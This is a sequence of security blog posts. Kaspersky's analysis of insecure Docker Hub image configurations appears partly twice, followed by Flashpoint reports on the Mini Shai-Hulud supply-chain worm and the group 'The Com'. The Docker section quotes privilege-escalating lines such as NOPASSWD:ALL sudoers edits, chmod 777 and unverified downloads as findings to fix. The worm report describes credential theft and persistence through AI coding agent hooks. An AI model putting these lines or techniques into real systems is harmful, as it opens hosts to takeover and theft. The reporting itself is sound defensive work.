In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.
RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd
According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.
Passwords may be present in environment variables. Consider the following Dockerfile snippet:
ENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start
In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.
Let’s look at another image:
/bin/sh -c #(nop) ENV MOODLE_URL=<a href="http://0.0.0.0/">http://0.0.0.0</a> MOODLE_ADMIN admin MOODLE_ADMIN_PASSWORD [removed] MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOST MOODLE_DB_PASSWORD MOODLE_DB_USER MOODLE_DB_NAME MOODLE_DB_PORT 3306
For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.
To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.
In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:
/bin/sh -c #(nop) HEALTHCHECK &{[""CMD-SHELL"" ""mysql --protocol TCP -u\""root\"" -p\""$MYSQL_ROOT_PASSWORD\"" -e \""SELECT 1;\""""] ""15s"" ""30s"" ""0s"" '\x05'}
In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.
To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.
One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.
The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.
Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.
One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:
/bin/sh -c set -xe; apt-get update && apt-get -y install sudo; echo ""solr ALL=(ALL) NOPASSWD: ALL"" >/etc/sudoers.d/solr;
Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.
echo 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.
As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.
Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group — by modifying existing rules.
perl -i -pe 's/\bALL$/NOPASSWD:ALL/g' /etc/sudoers
The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.
To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.
Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.
Consider the following command:
chmod 0777 /usr/share/cargo /usr/share/cargo/bin
The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.
To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.
Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.
For example, this risk may arise when downloading a distribution via HTTP:
RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream
Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.
To mitigate the risks, you can configure connections to web resources to use HTTPS only — if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.
There will still be a MitM risk even if certificate verification is disabled:
wget --no-check-certificate<a href="https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip"> https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip</a> -O phpvirtualbox.zip
The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.
To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.
Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.
Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.
To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.
This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.
Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.
Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.
At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.
In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.
Image analysis results in Kaspersky Container Security
To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.
As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.
One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.
To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.
An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.
Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.
In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.
To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.
TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard
It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.
A record number of vulnerabilities in a single image
However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.
Detecting potentially malicious software using one of the images as an example
This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.
Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.
Insecure image configurations detected by KCS based on rules
The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.
Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.
Example of container analysis using KIRA
In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.
RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd
According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.
Passwords may be present in environment variables. Consider the following Dockerfile snippet:
ENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start
In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.
Let’s look at another image:
/bin/sh -c #(nop) ENV MOODLE_URL=<a href="http://0.0.0.0/">http://0.0.0.0</a> MOODLE_ADMIN admin MOODLE_ADMIN_PASSWORD [removed] MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOST MOODLE_DB_PASSWORD MOODLE_DB_USER MOODLE_DB_NAME MOODLE_DB_PORT 3306
For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.
To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.
In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:
/bin/sh -c #(nop) HEALTHCHECK &{[""CMD-SHELL"" ""mysql --protocol TCP -u\""root\"" -p\""$MYSQL_ROOT_PASSWORD\"" -e \""SELECT 1;\""""] ""15s"" ""30s"" ""0s"" '\x05'}
In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.
To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.
One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.
The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.
Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.
One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:
/bin/sh -c set -xe; apt-get update && apt-get -y install sudo; echo ""solr ALL=(ALL) NOPASSWD: ALL"" >/etc/sudoers.d/solr;
Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.
echo 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.
As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.
Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group — by modifying existing rules.
perl -i -pe 's/\bALL$/NOPASSWD:ALL/g' /etc/sudoers
The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.
To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.
Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.
Consider the following command:
chmod 0777 /usr/share/cargo /usr/share/cargo/bin
The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.
To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.
Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.
For example, this risk may arise when downloading a distribution via HTTP:
RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream
Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.
To mitigate the risks, you can configure connections to web resources to use HTTPS only — if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.
There will still be a MitM risk even if certificate verification is disabled:
wget --no-check-certificate<a href="https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip"> https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip</a> -O phpvirtualbox.zip
The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.
To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.
Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.
Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.
To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.
This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.
In this post we break down the technical mechanics of TeamPCP’s recent campaign, the impact on the developer ecosystem, and the urgent steps needed to secure software supply chains.
Table Of ContentsThe developer ecosystem recently faced one of its most significant architectural threats to date, with the threat actor group TeamPCP unleashing Mini Shai-Hulud—a self propagating worm and multi-ecosystem threat. Potentially affecting millions of developers and thousands of companies, Mini Shai-Hulud has fundamentally compromised the trust layer of modern CI/CD pipelines.
The operational tempo of Mini Shai-Hulud has accelerated with every campaign. What began as opportunistic credential theft has now evolved into a high-speed, automated operation that can compromise hundreds of packages in under thirty minutes. From the exfiltration of approximately 3,800 internal GitHub repositories to the poisoning of critical libraries like TanStack and AntV, TeamPCP’s campaign has been incredibly effective in exploiting developer tooling and identity infrastructure.
Mini Shai-Hulud is deployed as a 498 KB obfuscated script executed using the Bun JavaScript runtime. The deliberate choice of Bun, rather than Node.js, is a tactical evasion technique as most endpoint detection and response (EDR) platforms and security information and event management (SIEM) solutions have behavioral rules tuned to Node.js execution patterns.
The worm propagates by stealing npm and GitHub authentication (OIDC) tokens from developer environments, then using those credentials to publish malicious versions of packages the compromised user maintains. To accomplish this, the worm scrapes runner process memory to extract short-lived identity tokens, which it then exchanges for per-package npm trusted-publisher tokens without requiring any long-lived npm secrets.
Mini Shai-Hulud targets credentials across 130 file paths, including npm tokens, GitHub personal access tokens, AWS, GCP, and Azure configuration files, Kubernetes kubeconfig files, Docker credentials, HashiCorp Vault tokens, 1Password and Bitwarden CLI vaults, SSH private keys, and Bitcoin wallet files.
Exfiltration occurs across multiple channels: the Session Protocol network, the GitHub Git Data API using dynamically created Dune-themed repositories on victim accounts, HTTPS to the threat actor-controlled domain, and an api for GitHub Actions workflow exfiltration.
The worm uses a dead-drop command-and-control (C2) architecture via GitHub’s public commit search API. An installed daemon (kitty-monitor, deployed as a systemd service on Linux or a LaunchAgent on macOS) polls GitHub for commits containing the string “firedalazer,” parses RSA-PSS-signed command payloads from matching commits, and executes them. This technique leverages GitHub as a trusted relay, making C2 traffic difficult to block without disrupting legitimate GitHub usage.
The worm then uses a persistence mechanism as a dead-man’s switch: a GitHub personal access token named “IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner” is created on compromised developer machines. If an operator revokes this token without first disabling the persistence mechanism, the worm destroys all home directory data on the compromised device.
Beyond standard persistence mechanisms, Mini Shai-Hulud targets AI coding agents. The SafeDep analysis documents that the worm modifies Claude Code’s settings .json to insert a SessionStart hook, enabling the worm to be reinstated with full LLM API privileges even if the infected npm packages are later removed, or the npm cache is cleared. A similar technique targets Visual Studio Code’s tasks.json file using the “runOn”: “folderOpen” trigger, and Codex configuration files are also targeted.
These AI agent hijacking techniques represent a novel attack surface: by persisting within trusted AI tool configurations, the malware can exfiltrate all code and secrets processed by those tools during future development sessions.
Flashpoint has observed at least four documented waves of TeamPCP npm and PyPI supply chain attacks in 2026, leveraging Mini Shai-Hulud to compromise developer tooling ecosystems and steal credentials, cloud keys, and source code across tens of thousands of organizations.
The following timeline tracks the escalation of TeamPCP and the Mini Shai-Hulud waves throughout 2026:
The first documented wave of Mini Shai-Hulud attacks targeted a small number of SAP-ecosystem npm packages in April 2026. While TeamPCP had already proven their CI/CD attack capabilities in March 2026 by compromising Aqua Security’s Trivy scanner and Checkmarx KICS via GitHub Actions, this initial wave served primarily as a proof-of-concept for the self-propagation mechanism and a reconnaissance phase for TeamPCP’s access broker network. Further, these attacks demonstrated the group’s ability to compromise widely used security tooling—a development that significantly undermines defenders’ ability to trust automated CI/CD pipeline scanning results.
Leveraging a GitHub Actions cache-poisoning technique, TeamPCP published malicious versions of 42 TanStack packages across 84 releases, impacting a project with over 518 million cumulative downloads.
The attack also compromised Mistral AI and Guardrails AI, extending the attack surface to the AI developer tools ecosystem. Forged commit authorship was used to blend the attacker’s commits into AI-assisted development environments where Claude Code is commonly deployed.
TeamPCP simultaneously listed Mistral AI source code for sale on BreachForums, claiming possession of approximately 5 GB of data across 450 internal Mistral repositories.
Targeting AntV enterprise data visualization ecosystem, TeamPCP compromised the atool npm account, which held publishing rights across a broad catalog of AntV packages. In 22 minutes, 637 malicious versions were published across 323 packages—a scale and speed that overwhelmed standard security monitoring pipelines.
Each infected package contained the Mini Shai-Hulud worm, which, upon execution, created up to 2,500 compromised repositories on victim accounts within hours.
In the most recent wave, TeamPCP announced its assumption of co-ownership of BreachForums, the largest English-language cybercriminal forum currently active. This development significantly elevates TeamPCP’s standing and operational reach. As co-owners, the group stated it would manage platform operations, handle dispute resolution, staff and vet moderation personnel, and host monetary contests for the community. The announcement positions TeamPCP as both an active threat actor and a platform-level infrastructure operator, with the ability to shape forum policies, curate the availability of criminal tooling, and influence the broader access broker and ransomware ecosystem.
Additionally, by poisoning a GitHub employee’s development environment, TeamPCP exfiltrated approximately 3,800 internal GitHub repositories. Within the stolen data were highly sensitive codebases such as:
Critically, the theft of internal source code from one of the world’s most widely used code hosting platforms creates incredible downstream risk for organizations that depend on GitHub Copilot and GitHub Actions for their own software development pipelines. Organizations running AI coding agents such as Claude Code and VS Code with extensions in their CI/CD pipelines face heightened exposure. Security teams should treat AI agent configuration files as sensitive assets subject to integrity monitoring and change-control policies.
If your organization uses npm, PyPi, or AI-assisted development tools, Flashpoint recommends the following immediate steps:
Flashpoint assesses with high confidence that TeamPCP will continue to scale its supply-chain attacks against npm, PyPI, and developer tooling ecosystems. The group’s shift from direct execution to orchestrating a broader ecosystem via BreachForums signals a maturation into a platform-layer criminal operation. While TeamPCP has hinted that the group may be approaching “retirement” due to law enforcement pressure, this should be treated with caution. Whether a misdirection or a genuine exit plan, the open-sourcing of Shai-Hulud means the tradecraft is available to the wider cybercriminal community.
Organizations should reference the OpenSSF npm Best Practices guidance for a practical baseline in hardening their package consumption posture. Flashpoint customers can gain access to known Indicators of Compromise (IOCs) and MITRE ATT&CK Mapping for Mini Shai-Hulud by logging into Flashpoint Ignite. To learn more about how Flashpoint tracks threat actor groups like TeamPCP and protects the software supply chain, request a demo.
The post The Mini Shai-Hulud Worm and the New Era of CI/CD Exploitation appeared first on Flashpoint.
In this post, we dive into the decentralized architecture of “The Com,” exposing its hybrid ecosystem of hacking, extortion, and real-life violence—and how it fuels a ruthless pipeline of cyber-fraud cycles and adolescent exploitation.
Table Of ContentsThe Community, more widely known as “The Com” is a sophisticated hybrid threat ecosystem in which cybercrime serves as the venture capital for domestic terrorism. Existing since the early 2010s, it operates in the “edgesphere”, a grey area where mainstream social media overlaps with underground criminal networks, blending nihilistic violent extremism (NVE) with high-level financial fraud. In The Com, cybercrime against Fortune 500 companies is the primary revenue stream used by members to fund a domestic terror network that aims to radicalize youth and encourage real-world violence.
However, The Com poses more than just financial risk, it is a self-serving victim-to-perpetrator pipeline. It uses stolen capital to recruit adolescents, who they view as a disposable workforce, turning them from a victim to a perpetrator. Despite being a decentralized web of individuals rather than a traditional threat actor organization, The Com has managed to grow by hiding in the gaps between corporate security, parental oversight, and law enforcement.
The Com is often mischaracterized as a single, formal organization. In reality, its ecosystem is unstructured and lacks a shared culture or leadership. However, the various factions within the ecosystem are extremely organized, supporting three broad categories of criminal activity: cybercrime, exploitation of minors, and real-world physical violence.
Federal investigations have shown that The Com includes a mix of adults and minors, men and women. While the exact number of members is difficult to determine, Flashpoint estimates that the broader ecosystem of The Com is in the thousands. While being a global threat, its most active core members are concentrated in Western English-speaking countries: the United Kingdom, the United States, and Canada.
While The Com is a decentralized ecosystem, its internal structure is defined by a high degree of operational alignment. Individual crews and networks within each pillar exhibit a shared psychology and standardized tradecraft that ensures their criminal activities remain effective and repeatable.
However, Flashpoint notes that members of these pillars do not operate alone. Their interaction with members of other pillars (extortion and real-world violence) amplifies the intended threat.
Hacker Com acts as the ecosystem’s economic engine and primary technical arm. Its primary function is to hack major corporations and commit financial fraud to fund the broader community’s activities and lifestyle.
Seeing themselves as the elite technical tier of The Com, Hacker Com members are motivated primarily by financial gain and the thrill of outsmarting corporate security infrastructures. Notable crews within this pillar include Scattered Spider, LAPSUS$, ShinyHunters, and DragonForce.
The following tactics, tools, and procedures (TTPs) have been observed by HACKER COM groups:
Hacker Com members capitalize on TTPs that target human vulnerabilities instead of relying solely on software and other exploits. Vishing is a signature move of the Scattered Spider crew, whose native English-speaking members call corporate IT helpdesks impersonating employees of that company.
Analysts note these threat actors are likely Gen Z who socially engineer older support staff by mimicking the impatient attitudes and vernacular of young tech executives, essentially hacking the generation gap. They leverage this form of social engineering to convince support staff to reset passwords or even re-enroll new multifactor authentication (MFA) devices, which grants them access to the victims’ networks.
